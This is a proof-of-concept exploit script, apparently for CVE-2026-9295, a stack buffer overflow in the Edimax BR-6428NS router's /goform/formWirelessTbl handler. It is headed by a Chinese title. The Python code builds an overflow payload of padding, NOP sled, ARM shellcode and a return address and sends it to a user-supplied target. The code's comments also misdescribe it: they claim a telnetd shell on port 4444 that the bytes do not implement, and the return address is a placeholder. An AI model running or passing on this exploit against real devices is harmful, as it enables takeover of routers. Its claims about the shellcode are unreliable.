CVE-2026-9295 Edimax BR-6428NS formWirelessTbl缓冲区溢出漏洞

import requests import sys def exploit_cve_2026_9295(target_ip, target_port=80): """ CVE-2026-9295 PoC - Edimax BR-6428NS formWirelessTbl Buffer Overflow Target: Edimax BR-6428NS firmware 1.10 Vulnerability: Stack buffer overflow in /goform/formWirelessTbl vapurl parameter """ # Construct malicious payload # Buffer size is typically 256-512 bytes on embedded devices # We need to overflow and overwrite the return address buffer_size = 600 # Padding to fill the buffer padding = b'A' * 264 # Overwrite saved registers (if needed) saved_regs = b'B' * 16 # Overwrite return address with NOP sled + shellcode address # For ARM architecture, use little-endian address # This is a placeholder - actual address depends on firmware version return_addr = b'\x00\x10\x00\x00' # Example: 0x00100000 (adjust based on firmware) # Simple ARM shellcode - executes telnetd # This spawns a shell on port 4444 shellcode = ( b'\x01\x30\x8f\xe2' # add r3, pc, #1 b'\x13\xff\x2f\xe1' # bx r3 b'/bin/sh\x00' # /bin/sh string ) # NOP sled for reliability nop_sled = b'\x00\xf0\x20\xe3' * 20 # ARM NOP instruction payload = padding + saved_regs + nop_sled + shellcode + return_addr # Construct the POST request url = f"http://{target_ip}:{target_port}/goform/formWirelessTbl" data = { 'vapurl': payload.decode('latin-1'), 'submit': 'Apply' } print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {len(payload)} bytes") try: response = requests.post(url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Request timed out - target may be vulnerable and crashed") except requests.exceptions.ConnectionError: print("[+] Connection refused - target may be down or already exploited") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2026_9295(target, port)